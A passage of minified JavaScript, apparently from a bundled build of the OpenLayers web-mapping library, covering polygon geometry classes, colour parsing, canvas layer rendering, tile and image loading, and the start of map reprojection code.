isNaN(x)&&(x=o[s]),a?(a.push(x,g,C),a):[x,g,C]}function Fn(t,e,i,n){for(;e<i-n;){for(var o=0;o<n;++o){var r=t[e+o];t[e+o]=t[i-n+o],t[i-n+o]=r}e+=n,i-=n}}function Ln(t,e,i,n){for(var o=0,r=t[i-n],s=t[i-n+1];e<i;e+=n){var a=t[e],l=t[e+1];o+=(a-r)*(l+s),r=a,s=l}return 0===o?void 0:o>0}function An(t,e,i,n,o){for(var r=void 0!==o&&o,s=0,a=i.length;s<a;++s){var l=i[s],h=Ln(t,e,l,n);if(0===s){if(r&&h||!r&&!h)return!1}else if(r&&!h||!r&&h)return!1;e=l}return!0}function Dn(t,e,i,n,o){for(var r=void 0!==o&&o,s=0,a=i.length;s<a;++s){var l=i[s],h=Ln(t,e,l,n);(0===s?r&&h||!r&&!h:r&&!h||!r&&h)&&Fn(t,e,l,n),e=l}return e}function kn(t,e,i,n,o){for(var r=0,s=i.length;r<s;++r)e=Dn(t,e,i[r],n,o);return e}var jn=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Gn=function(t){function e(e,i,n){var o=t.call(this)||this;return o.ends_=[],o.flatInteriorPointRevision_=-1,o.flatInteriorPoint_=null,o.maxDelta_=-1,o.maxDeltaRevision_=-1,o.orientedRevision_=-1,o.orientedFlatCoordinates_=null,void 0!==i&&n?(o.setFlatCoordinates(i,e),o.ends_=n):o.setCoordinates(e,i),o}return jn(e,t),e.prototype.appendLinearRing=function(t){this.flatCoordinates?l(this.flatCoordinates,t.getFlatCoordinates()):this.flatCoordinates=t.getFlatCoordinates().slice(),this.ends_.push(this.flatCoordinates.length),this.changed()},e.prototype.clone=function(){var t=new e(this.flatCoordinates.slice(),this.layout,this.ends_.slice());return t.applyProperties(this),t},e.prototype.closestPointXY=function(t,e,i,n){return n<pe(this.getExtent(),t,e)?n:(this.maxDeltaRevision_!=this.getRevision()&&(this.maxDelta_=Math.sqrt(Ki(this.flatCoordinates,0,this.ends_,this.stride,0)),this.maxDeltaRevision_=this.getRevision()),Vi(this.flatCoordinates,0,this.ends_,this.stride,this.maxDelta_,!0,t,e,i,n))},e.prototype.containsXY=function(t,e){return hn(this.getOrientedFlatCoordinates(),0,this.ends_,this.stride,t,e)},e.prototype.getArea=function(){return vn(this.getOrientedFlatCoordinates(),0,this.ends_,this.stride)},e.prototype.getCoordinates=function(t){var e;return void 0!==t?Dn(e=this.getOrientedFlatCoordinates().slice(),0,this.ends_,this.stride,t):e=this.flatCoordinates,nn(e,0,this.ends_,this.stride)},e.prototype.getEnds=function(){return this.ends_},e.prototype.getFlatInteriorPoint=function(){if(this.flatInteriorPointRevision_!=this.getRevision()){var t=Re(this.getExtent());this.flatInteriorPoint_=Mn(this.getOrientedFlatCoordinates(),0,this.ends_,this.stride,t,0),this.flatInteriorPointRevision_=this.getRevision()}return this.flatInteriorPoint_},e.prototype.getInteriorPoint=function(){return new On(this.getFlatInteriorPoint(),Oi)},e.prototype.getLinearRingCount=function(){return this.ends_.length},e.prototype.getLinearRing=function(t){return t<0||this.ends_.length<=t?null:new Cn(this.flatCoordinates.slice(0===t?0:this.ends_[t-1],this.ends_[t]),this.layout)},e.prototype.getLinearRings=function(){for(var t=this.layout,e=this.flatCoordinates,i=this.ends_,n=[],o=0,r=0,s=i.length;r<s;++r){var a=i[r],l=new Cn(e.slice(o,a),t);n.push(l),o=a}return n},e.prototype.getOrientedFlatCoordinates=function(){if(this.orientedRevision_!=this.getRevision()){var t=this.flatCoordinates;An(t,0,this.ends_,this.stride)?this.orientedFlatCoordinates_=t:(this.orientedFlatCoordinates_=t.slice(),this.orientedFlatCoordinates_.length=Dn(this.orientedFlatCoordinates_,0,this.ends_,this.stride)),this.orientedRevision_=this.getRevision()}return this.orientedFlatCoordinates_},e.prototype.getSimplifiedGeometryInternal=function(t){var i=[],n=[];return i.length=$i(this.flatCoordinates,0,this.ends_,this.stride,Math.sqrt(t),i,0,n),new e(i,bi,n)},e.prototype.getType=function(){return"Polygon"},e.prototype.intersectsExtent=function(t){return pn(this.getOrientedFlatCoordinates(),0,this.ends_,this.stride,t)},e.prototype.setCoordinates=function(t,e){this.setLayout(e,t,2),this.flatCoordinates||(this.flatCoordinates=[]);var i=Hi(this.flatCoordinates,0,t,this.stride,this.ends_);this.flatCoordinates.length=0===i.length?0:i[i.length-1],this.changed()},e}(Ni),zn=Gn;function Wn(t){var e=t[0],i=t[1],n=t[2],o=t[3],r=[e,i,e,o,n,o,n,i,e,i];return new Gn(r,bi,[r.length])}var Xn=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Nn=function(t){function e(e,i,n){var o=t.call(this)||this;if(o.endss_=[],o.flatInteriorPointsRevision_=-1,o.flatInteriorPoints_=null,o.maxDelta_=-1,o.maxDeltaRevision_=-1,o.orientedRevision_=-1,o.orientedFlatCoordinates_=null,!n&&!Array.isArray(e[0])){for(var r=o.getLayout(),s=e,a=[],h=[],u=0,c=s.length;u<c;++u){var p=s[u];0===u&&(r=p.getLayout());for(var f=a.length,d=p.getEnds(),g=0,_=d.length;g<_;++g)d[g]+=f;l(a,p.getFlatCoordinates()),h.push(d)}i=r,e=a,n=h}return void 0!==i&&n?(o.setFlatCoordinates(i,e),o.endss_=n):o.setCoordinates(e,i),o}return Xn(e,t),e.prototype.appendPolygon=function(t){var e;if(this.flatCoordinates){var i=this.flatCoordinates.length;l(this.flatCoordinates,t.getFlatCoordinates());for(var n=0,o=(e=t.getEnds().slice()).length;n<o;++n)e[n]+=i}else this.flatCoordinates=t.getFlatCoordinates().slice(),e=t.getEnds().slice(),this.endss_.push();this.endss_.push(e),this.changed()},e.prototype.clone=function(){for(var t=this.endss_.length,i=new Array(t),n=0;n<t;++n)i[n]=this.endss_[n].slice();var o=new e(this.flatCoordinates.slice(),this.layout,i);return o.applyProperties(this),o},e.prototype.closestPointXY=function(t,e,i,n){return n<pe(this.getExtent(),t,e)?n:(this.maxDeltaRevision_!=this.getRevision()&&(this.maxDelta_=Math.sqrt(function(t,e,i,n,o){for(var r=0,s=i.length;r<s;++r){var a=i[r];o=Ki(t,e,a,n,o),e=a[a.length-1]}return o}(this.flatCoordinates,0,this.endss_,this.stride,0)),this.maxDeltaRevision_=this.getRevision()),function(t,e,i,n,o,r,s,a,l,h,u){for(var c=[NaN,NaN],p=0,f=i.length;p<f;++p){var d=i[p];h=Vi(t,e,d,n,o,true,s,a,l,h,c),e=d[d.length-1]}return h}(this.getOrientedFlatCoordinates(),0,this.endss_,this.stride,this.maxDelta_,0,t,e,i,n))},e.prototype.containsXY=function(t,e){return function(t,e,i,n,o,r){if(0===i.length)return!1;for(var s=0,a=i.length;s<a;++s){var l=i[s];if(hn(t,e,l,n,o,r))return!0;e=l[l.length-1]}return!1}(this.getOrientedFlatCoordinates(),0,this.endss_,this.stride,t,e)},e.prototype.getArea=function(){return function(t,e,i,n){for(var o=0,r=0,s=i.length;r<s;++r){var a=i[r];o+=vn(t,e,a,n),e=a[a.length-1]}return o}(this.getOrientedFlatCoordinates(),0,this.endss_,this.stride)},e.prototype.getCoordinates=function(t){var e;return void 0!==t?kn(e=this.getOrientedFlatCoordinates().slice(),0,this.endss_,this.stride,t):e=this.flatCoordinates,on(e,0,this.endss_,this.stride)},e.prototype.getEndss=function(){return this.endss_},e.prototype.getFlatInteriorPoints=function(){if(this.flatInteriorPointsRevision_!=this.getRevision()){var t=function(t,e,i,n){for(var o=[],r=[1/0,1/0,-1/0,-1/0],s=0,a=i.length;s<a;++s){var l=i[s];r=me(t,e,l[0],n),o.push((r[0]+r[2])/2,(r[1]+r[3])/2),e=l[l.length-1]}return o}(this.flatCoordinates,0,this.endss_,this.stride);this.flatInteriorPoints_=function(t,e,i,n,o){for(var r=[],s=0,a=i.length;s<a;++s){var l=i[s];r=Mn(t,e,l,n,o,2*s,r),e=l[l.length-1]}return r}(this.getOrientedFlatCoordinates(),0,this.endss_,this.stride,t),this.flatInteriorPointsRevision_=this.getRevision()}return this.flatInteriorPoints_},e.prototype.getInteriorPoints=function(){return new In(this.getFlatInteriorPoints().slice(),Oi)},e.prototype.getOrientedFlatCoordinates=function(){if(this.orientedRevision_!=this.getRevision()){var t=this.flatCoordinates;!function(t,e,i,n,o){for(var r=0,s=i.length;r<s;++r){var a=i[r];if(!An(t,e,a,n,undefined))return!1;a.length&&(e=a[a.length-1])}return!0}(t,0,this.endss_,this.stride)?(this.orientedFlatCoordinates_=t.slice(),this.orientedFlatCoordinates_.length=kn(this.orientedFlatCoordinates_,0,this.endss_,this.stride)):this.orientedFlatCoordinates_=t,this.orientedRevision_=this.getRevision()}return this.orientedFlatCoordinates_},e.prototype.getSimplifiedGeometryInternal=function(t){var i=[],n=[];return i.length=function(t,e,i,n,o,r,s,a){for(var l=0,h=i.length;l<h;++l){var u=i[l],c=[];s=$i(t,e,u,n,o,r,s,c),a.push(c),e=u[u.length-1]}return s}(this.flatCoordinates,0,this.endss_,this.stride,Math.sqrt(t),i,0,n),new e(i,bi,n)},e.prototype.getPolygon=function(t){if(t<0||this.endss_.length<=t)return null;var e;if(0===t)e=0;else{var i=this.endss_[t-1];e=i[i.length-1]}var n=this.endss_[t].slice(),o=n[n.length-1];if(0!==e)for(var r=0,s=n.length;r<s;++r)n[r]-=e;return new zn(this.flatCoordinates.slice(e,o),this.layout,n)},e.prototype.getPolygons=function(){for(var t=this.layout,e=this.flatCoordinates,i=this.endss_,n=[],o=0,r=0,s=i.length;r<s;++r){var a=i[r].slice(),l=a[a.length-1];if(0!==o)for(var h=0,u=a.length;h<u;++h)a[h]-=o;var c=new zn(e.slice(o,l),t,a);n.push(c),o=l}return n},e.prototype.getType=function(){return"MultiPolygon"},e.prototype.intersectsExtent=function(t){return function(t,e,i,n,o){for(var r=0,s=i.length;r<s;++r){var a=i[r];if(pn(t,e,a,n,o))return!0;e=a[a.length-1]}return!1}(this.getOrientedFlatCoordinates(),0,this.endss_,this.stride,t)},e.prototype.setCoordinates=function(t,e){this.setLayout(e,t,3),this.flatCoordinates||(this.flatCoordinates=[]);var i=function(t,e,i,n,o){for(var r=o||[],s=0,a=0,l=i.length;a<l;++a){var h=Hi(t,e,i[a],n,r[s]);r[s++]=h,e=h[h.length-1]}return r.length=s,r}(this.flatCoordinates,0,t,this.stride,this.endss_);if(0===i.length)this.flatCoordinates.length=0;else{var n=i[i.length-1];this.flatCoordinates.length=0===n.length?0:n[n.length-1]}this.changed()},e}(Ni),Yn=Nn,Bn="preload",Kn="useInterimTilesOnError",Zn=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Vn=function(t){function e(e){var i=this,n=e||{},o=f({},n);return delete o.preload,delete o.useInterimTilesOnError,(i=t.call(this,o)||this).on,i.once,i.un,i.setPreload(void 0!==n.preload?n.preload:0),i.setUseInterimTilesOnError(void 0===n.useInterimTilesOnError||n.useInterimTilesOnError),i}return Zn(e,t),e.prototype.getPreload=function(){return this.get(Bn)},e.prototype.setPreload=function(t){this.set(Bn,t)},e.prototype.getUseInterimTilesOnError=function(){return this.get(Kn)},e.prototype.setUseInterimTilesOnError=function(t){this.set(Kn,t)},e.prototype.getData=function(e){return t.prototype.getData.call(this,e)},e}(Gt),Un=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Hn=function(t){function e(e){var i=t.call(this)||this;return i.ready=!0,i.boundHandleImageChange_=i.handleImageChange_.bind(i),i.layer_=e,i.declutterExecutorGroup=null,i}return Un(e,t),e.prototype.getFeatures=function(t){return L()},e.prototype.getData=function(t){return null},e.prototype.prepareFrame=function(t){return L()},e.prototype.renderFrame=function(t,e){return L()},e.prototype.loadedTileCallback=function(t,e,i){t[e]||(t[e]={}),t[e][i.tileCoord.toString()]=i},e.prototype.createLoadedTileFinder=function(t,e,i){return function(n,o){var r=this.loadedTileCallback.bind(this,i,n);return t.forEachLoadedTile(e,n,o,r)}.bind(this)},e.prototype.forEachFeatureAtCoordinate=function(t,e,i,n,o){},e.prototype.getDataAtPixel=function(t,e,i){return null},e.prototype.getLayer=function(){return this.layer_},e.prototype.handleFontsChanged=function(){},e.prototype.handleImageChange_=function(t){2===t.target.getState()&&this.renderIfReadyAndVisible()},e.prototype.loadImage=function(t){var e=t.getState();return 2!=e&&3!=e&&t.addEventListener(x,this.boundHandleImageChange_),0==e&&(t.load(),e=t.getState()),2==e},e.prototype.renderIfReadyAndVisible=function(){var t=this.getLayer();t&&t.getVisible()&&"ready"===t.getSourceState()&&t.changed()},e.prototype.disposeInternal=function(){delete this.layer_,t.prototype.disposeInternal.call(this)},e}(F),qn=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Jn=function(t){function e(e,i,n,o){var r=t.call(this,e)||this;return r.inversePixelTransform=i,r.frameState=n,r.context=o,r}return qn(e,t),e}(t),Qn=/^#([a-f0-9]{3}|[a-f0-9]{4}(?:[a-f0-9]{2}){0,2})$/i,$n=/^([a-z]*)$|^hsla?\(.*\)$/i;function to(t){return"string"==typeof t?t:oo(t)}var eo=function(){var t={},e=0;return function(i){var n;if(t.hasOwnProperty(i))n=t[i];else{if(e>=1024){var o=0;for(var r in t)0==(3&o++)&&(delete t[r],--e)}n=function(t){var e,i,n,o,r;if($n.exec(t)&&(t=function(t){var e=document.createElement("div");if(e.style.color=t,""!==e.style.color){document.body.appendChild(e);var i=getComputedStyle(e).color;return document.body.removeChild(e),i}return""}(t)),Qn.exec(t)){var s,a=t.length-1;s=a<=4?1:2;var l=4===a||8===a;e=parseInt(t.substr(1+0*s,s),16),i=parseInt(t.substr(1+1*s,s),16),n=parseInt(t.substr(1+2*s,s),16),o=l?parseInt(t.substr(1+3*s,s),16):255,1==s&&(e=(e<<4)+e,i=(i<<4)+i,n=(n<<4)+n,l&&(o=(o<<4)+o)),r=[e,i,n,o/255]}else 0==t.indexOf("rgba(")?no(r=t.slice(5,-1).split(",").map(Number)):0==t.indexOf("rgb(")?((r=t.slice(4,-1).split(",").map(Number)).push(1),no(r)):xt(!1,14);return r}(i),t[i]=n,++e}return n}}();function io(t){return Array.isArray(t)?t:eo(t)}function no(t){return t[0]=Ct(t[0]+.5|0,0,255),t[1]=Ct(t[1]+.5|0,0,255),t[2]=Ct(t[2]+.5|0,0,255),t[3]=Ct(t[3],0,1),t}function oo(t){var e=t[0];e!=(0|e)&&(e=e+.5|0);var i=t[1];i!=(0|i)&&(i=i+.5|0);var n=t[2];return n!=(0|n)&&(n=n+.5|0),"rgba("+e+","+i+","+n+","+(void 0===t[3]?1:Math.round(100*t[3])/100)+")"}var ro=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),so=[],ao=null,lo=function(t){function e(e){var i=t.call(this,e)||this;return i.container=null,i.renderedResolution,i.tempTransform=[1,0,0,1,0,0],i.pixelTransform=[1,0,0,1,0,0],i.inversePixelTransform=[1,0,0,1,0,0],i.context=null,i.containerReused=!1,i.pixelContext_=null,i.frameState=null,i}return ro(e,t),e.prototype.getImageData=function(t,e,i){var n,o;ao||((n=document.createElement("canvas")).width=1,n.height=1,ao=n.getContext("2d")),ao.clearRect(0,0,1,1);try{ao.drawImage(t,e,i,1,1,0,0,1,1),o=ao.getImageData(0,0,1,1).data}catch(t){return ao=null,null}return o},e.prototype.getBackground=function(t){var e=this.getLayer().getBackground();return"function"==typeof e&&(e=e(t.viewState.resolution)),e||void 0},e.prototype.useContainer=function(t,e,i){var n,o,r=this.getLayer().getClassName();if(t&&t.className===r&&(!i||t&&t.style.backgroundColor&&h(io(t.style.backgroundColor),io(i)))&&(a=t.firstElementChild)instanceof HTMLCanvasElement&&(o=a.getContext("2d")),o&&o.canvas.style.transform===e?(this.container=t,this.context=o,this.containerReused=!0):this.containerReused&&(this.container=null,this.context=null,this.containerReused=!1),!this.container){(n=document.createElement("div")).className=r;var s=n.style;s.position="absolute",s.width="100%",s.height="100%";var a=(o=q()).canvas;n.appendChild(a),(s=a.style).position="absolute",s.left="0",s.transformOrigin="top left",this.container=n,this.context=o}this.containerReused||!i||this.container.style.backgroundColor||(this.container.style.backgroundColor=i)},e.prototype.clipUnrotated=function(t,e,i){var n=Ae(i),o=De(i),r=Oe(i),s=be(i);Pi(e.coordinateToPixelTransform,n),Pi(e.coordinateToPixelTransform,o),Pi(e.coordinateToPixelTransform,r),Pi(e.coordinateToPixelTransform,s);var a=this.inversePixelTransform;Pi(a,n),Pi(a,o),Pi(a,r),Pi(a,s),t.save(),t.beginPath(),t.moveTo(Math.round(n[0]),Math.round(n[1])),t.lineTo(Math.round(o[0]),Math.round(o[1])),t.lineTo(Math.round(r[0]),Math.round(r[1])),t.lineTo(Math.round(s[0]),Math.round(s[1])),t.clip()},e.prototype.dispatchRenderEvent_=function(t,e,i){var n=this.getLayer();if(n.hasListener(t)){var o=new Jn(t,this.inversePixelTransform,i,e);n.dispatchEvent(o)}},e.prototype.preRender=function(t,e){this.frameState=e,this.dispatchRenderEvent_("prerender",t,e)},e.prototype.postRender=function(t,e){this.dispatchRenderEvent_("postrender",t,e)},e.prototype.getRenderTransform=function(t,e,i,n,o,r,s){var a=o/2,l=r/2,h=n/e,u=-h,c=-t[0]+s,p=-t[1];return Ii(this.tempTransform,a,l,h,u,-i,c,p)},e.prototype.getDataAtPixel=function(t,e,i){var n=Pi(this.inversePixelTransform,t.slice()),o=this.context,r=this.getLayer().getExtent();if(r&&!fe(r,Pi(e.pixelToCoordinateTransform,t.slice())))return null;var s,a=Math.round(n[0]),l=Math.round(n[1]),h=this.pixelContext_;if(!h){var u=document.createElement("canvas");u.width=1,u.height=1,h=u.getContext("2d"),this.pixelContext_=h}h.clearRect(0,0,1,1);try{h.drawImage(o.canvas,a,l,1,1,0,0,1,1),s=h.getImageData(0,0,1,1).data}catch(t){return"SecurityError"===t.name?(this.pixelContext_=null,new Uint8Array):s}return 0===s[3]?null:s},e.prototype.disposeInternal=function(){delete this.frameState,t.prototype.disposeInternal.call(this)},e}(Hn),ho=lo,uo=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),co=function(t){function e(e,i,n){var o=t.call(this)||this,r=n||{};return o.tileCoord=e,o.state=i,o.interimTile=null,o.key="",o.transition_=void 0===r.transition?250:r.transition,o.transitionStarts_={},o.interpolate=!!r.interpolate,o}return uo(e,t),e.prototype.changed=function(){this.dispatchEvent(x)},e.prototype.release=function(){},e.prototype.getKey=function(){return this.key+"/"+this.tileCoord},e.prototype.getInterimTile=function(){if(!this.interimTile)return this;var t=this.interimTile;do{if(2==t.getState())return this.transition_=0,t;t=t.interimTile}while(t);return this},e.prototype.refreshInterimChain=function(){if(this.interimTile){var t=this.interimTile,e=this;do{if(2==t.getState()){t.interimTile=null;break}1==t.getState()?e=t:0==t.getState()?e.interimTile=t.interimTile:e=t,t=e.interimTile}while(t)}},e.prototype.getTileCoord=function(){return this.tileCoord},e.prototype.getState=function(){return this.state},e.prototype.setState=function(t){if(3!==this.state&&this.state>t)throw new Error("Tile load sequence violation");this.state=t,this.changed()},e.prototype.load=function(){L()},e.prototype.getAlpha=function(t,e){if(!this.transition_)return 1;var i=this.transitionStarts_[t];if(i){if(-1===i)return 1}else i=e,this.transitionStarts_[t]=i;var n=e-i+1e3/60;return n>=this.transition_?1:mi(n/this.transition_)},e.prototype.inTransition=function(t){return!!this.transition_&&-1!==this.transitionStarts_[t]},e.prototype.endTransition=function(t){this.transition_&&(this.transitionStarts_[t]=-1)},e}(m),po=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),fo=function(t){function e(e,i,n,o){var r=t.call(this)||this;return r.extent=e,r.pixelRatio_=n,r.resolution=i,r.state=o,r}return po(e,t),e.prototype.changed=function(){this.dispatchEvent(x)},e.prototype.getExtent=function(){return this.extent},e.prototype.getImage=function(){return L()},e.prototype.getPixelRatio=function(){return this.pixelRatio_},e.prototype.getResolution=function(){return this.resolution},e.prototype.getState=function(){return this.state},e.prototype.load=function(){L()},e}(m),go=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}();function _o(t,e,i){var n=t,o=!0,r=!1,s=!1,a=[R(n,"load",(function(){s=!0,r||e()}))];return n.src&&U?(r=!0,n.decode().then((function(){o&&e()})).catch((function(t){o&&(s?e():i())}))):a.push(R(n,"error",i)),function(){o=!1,a.forEach(P)}}!function(t){function e(e,i,n,o,r,s){var a=t.call(this,e,i,n,0)||this;return a.src_=o,a.image_=new Image,null!==r&&(a.image_.crossOrigin=r),a.unlisten_=null,a.state=0,a.imageLoadFunction_=s,a}go(e,t),e.prototype.getImage=function(){return this.image_},e.prototype.handleImageError_=function(){this.state=3,this.unlistenImage_(),this.changed()},e.prototype.handleImageLoad_=function(){void 0===this.resolution&&(this.resolution=Fe(this.extent)/this.image_.height),this.state=2,this.unlistenImage_(),this.changed()},e.prototype.load=function(){0!=this.state&&3!=this.state||(this.state=1,this.changed(),this.imageLoadFunction_(this,this.src_),this.unlisten_=_o(this.image_,this.handleImageLoad_.bind(this),this.handleImageError_.bind(this)))},e.prototype.setImage=function(t){this.image_=t,this.resolution=Fe(this.extent)/this.image_.height},e.prototype.unlistenImage_=function(){this.unlisten_&&(this.unlisten_(),this.unlisten_=null)}}(fo);var yo,vo=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),mo=function(t){function e(e,i,n,o,r,s){var a=t.call(this,e,i,s)||this;return a.crossOrigin_=o,a.src_=n,a.key=n,a.image_=new Image,null!==o&&(a.image_.crossOrigin=o),a.unlisten_=null,a.tileLoadFunction_=r,a}return vo(e,t),e.prototype.getImage=function(){return this.image_},e.prototype.setImage=function(t){this.image_=t,this.state=2,this.unlistenImage_(),this.changed()},e.prototype.handleImageError_=function(){var t;this.state=3,this.unlistenImage_(),this.image_=((t=q(1,1)).fillStyle="rgba(0,0,0,0)",t.fillRect(0,0,1,1),t.canvas),this.changed()},e.prototype.handleImageLoad_=function(){var t=this.image_;t.naturalWidth&&t.naturalHeight?this.state=2:this.state=4,this.unlistenImage_(),this.changed()},e.prototype.load=function(){3==this.state&&(this.state=0,this.image_=new Image,null!==this.crossOrigin_&&(this.image_.crossOrigin=this.crossOrigin_)),0==this.state&&(this.state=1,this.changed(),this.tileLoadFunction_(this,this.src_),this.unlisten_=_o(this.image_,this.handleImageLoad_.bind(this),this.handleImageError_.bind(this)))},e.prototype.unlistenImage_=function(){this.unlisten_&&(this.unlisten_(),this.unlisten_=null)},e}(co),xo=function(){function t(t,e,i,n,o,r){this.sourceProj_=t,this.targetProj_=e;var s={},a=ei(this.targetProj_,this.sourceProj_);this.transformInv_=function(t){var e=t[0]+"/"+t[1];return s[e]||(s[e]=a(t)),s[e]},this.maxSourceExtent_=n,this.errorThresholdSquared_=o*o,this.triangles_=[],this.wrapsXInSource_=!1,this.canWrapXInSource_=this.sourceProj_.canWrapX()&&!!n&&!!this.sourceProj_.getExtent()&&ke(n)==ke(this.sourceProj_.getExtent()),this.sourceWorldWidth_=this.sourceProj_.getExtent()?ke(this.sourceProj_.getExtent()):null,this.targetWorldWidth_=this.targetProj_.getExtent()?ke(this.targetProj_.getExtent()):null;var l=Ae(i),h=De(i),u=Oe(i),c=be(i),p=this.transformInv_(l),f=this.transformInv_(h),d=this.transformInv_(u),g=this.transformInv_(c),_=10+(r?Math.max(0,Math.ceil(St(Te(i)/(r*r*256*256)))):0);if(this.addQuad_(l,h,u,c,p,f,d,g,_),this.wrapsXInSource_){var y=1/0;this.triangles_.forEach((function(t,e,i){y=Math.min(y,t.source[0][0],t.source[1][0],t.source[2][0])})),this.triangles_.forEach(function(t){if(Math.max(t.source[0][0],t.source[1][0],t.source[2][0])-y>this.sourceWorldWidth_/2){var e=[[t.source[0][0],t.source[0][1]],[t.source[1][0],t.source[1][1]],[t.source[2][0],t.source[2][1]]];e[0][0]-y>this.sourceWorldWidth_/2&&(e[0][0]-=this.sourceWorldWidth_),e[1][0]-y>this.sourceWorldWidth_/2&&(e[1][0]-=this.sourceWorldWidth_),e[2][0]-y>this.sourceWorldWidth_/2&&(e[2][0]-=this.sourceWorldWidth_);var i=Math.min(e[0][0],e[1][0],e[2][0]);Math.max(e[0][0],e[1][0],e[2][0])-i<this.sourceWorldWidth_/2&&(t.source=e)}}.bind(this))}s={}}return t.prototype.addTriangle_=function(t,e,i,n,o,r){this.triangles_.push({source:[n,o,r],target:[t,e,i]})},t.prototype.addQuad_=function(t,e,i,n,o,r,s,a,l){var h=he([o,r,s,a]),u=this.sourceWorldWidth_?ke(h)/this.sourceWorldWidth_:null,c=this.sourceWorldWidth_,p=this.sourceProj_.canWrapX()&&u>.5&&u<1,f=!1;if(l>0&&(this.targetProj_.isGlobal()&&this.targetWorldWidth_&&(f=ke(he([t,e,i,n]))/this.targetWorldWidth_>.25||f),!p&&this.sourceProj_.isGlobal()&&u&&(f=u>.25||f)),!(!f&&this.maxSourceExtent_&&isFinite(h[0])&&isFinite(h[1])&&isFinite(h[2])&&isFinite(h[3]))||je(h,this.maxSourceExtent_)){var d=0;if(!(f||isFinite(o[0])&&isFinite(o[1])&&isFinite(r[0])&&isFinite(r[1])&&isFinite(s[0])&&isFinite(s[1])&&isFinite(a[0])&&isFinite(a[1])))if(l>0)f=!0;else if(1!=(d=(isFinite(o[0])&&isFinite(o[1])?0:8)+(isFinite(r[0])&&isFinite(r[1])?0:4)+(isFinite(s[0])&&isFinite(s[1])?0:2)+(isFinite(a[0])&&isFinite(a[1])?0:1))&&2!=d&&4!=d&&8!=d)return;if(l>0){if(!f){var g=[(t[0]+i[0])/2,(t[1]+i[1])/2],_=this.transformInv_(g),y=void 0;y=p?(Ot(o[0],c)+Ot(s[0],c))/2-Ot(_[0],c):(o[0]+s[0])/2-_[0];var v=(o[1]+s[1])/2-_[1];f=y*y+v*v>this.errorThresholdSquared_}if(f){if(Math.abs(t[0]-i[0])<=Math.abs(t[1]-i[1])){var 